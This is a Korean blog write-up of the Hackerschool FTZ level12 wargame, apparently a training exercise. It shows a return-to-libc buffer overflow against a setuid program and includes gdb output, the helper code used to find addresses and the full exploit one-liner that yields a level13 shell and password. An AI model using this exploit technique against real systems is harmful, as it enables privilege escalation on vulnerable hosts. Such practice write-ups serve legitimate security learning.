Category : System hacking
ssh://ftz.hackerschool.org id : level12 pw : it is like this |
Summary : buffer overflow on redhat 6.2
서버에 접속하여 문제 파일을 확인한다.
[level12@ftz level12]$ ls -l
setreuid( 3093, 3093 ); |
hint 파일에는 attackme 라는 프로그램의 source가 있다.
source를 보게되면 gets함수로 인해 buffer overflow 취약점이 발생함을 할 수 있다.. level13 user의 프로그램인 attackme에는 setuid가 걸려있으므로 overflow취약점을 이용하여 level13 user의 쉘을 획득할 수 있다.
이번에는 공유라이브러리의 system함수의 주소를 return address에 덮어주고 , 인자로 공유라이브러리내에 있는 "/bin/sh"라는 문자열의 주소를 넣어주어 공격할 것이다.
우선 , 필요한 정보들을 수집한다.
0x08048473 <main+3>: sub $0x108,%esp |
지역변수의 크기는 264byte이므로 return address를 덮기위해선 sfp 포함 268byte를 채워주어야한다.
(gdb) p system $1 = {<text variable, no debug info>} 0x4005f430 <system> |
공유라이브러리에서 "/bin/sh"라는 문자열을 찾아주는 간단한 프로그램을 작성해 실행한다.
[level12@ftz .pwn3r]$ cat whereisit.c int main() |
필요한 정보를 모두 얻었으므로 공격한다.
[level12@ftz .pwn3r]$ (python -c 'print "a"*268 + "\x30\xf4\x05\x40" + "bbbb" + "\x24\xad\x14\x40"';cat) | ~/attackme Level13 Password is "have no clue". |
level13 user의 쉘을 획득하고 password를 얻었다.
'Wargame > FTZ' 카테고리의 다른 글
Hackerschool FTZ level13 (0) | 2011.07.28 |
---|---|
Hackerschool FTZ level11 (0) | 2011.07.19 |
Hackerschool FTZ level10 (2) | 2011.07.17 |
Hackerschool FTZ level9 (0) | 2011.07.17 |
Hackerschool FTZ level8 (0) | 2011.07.17 |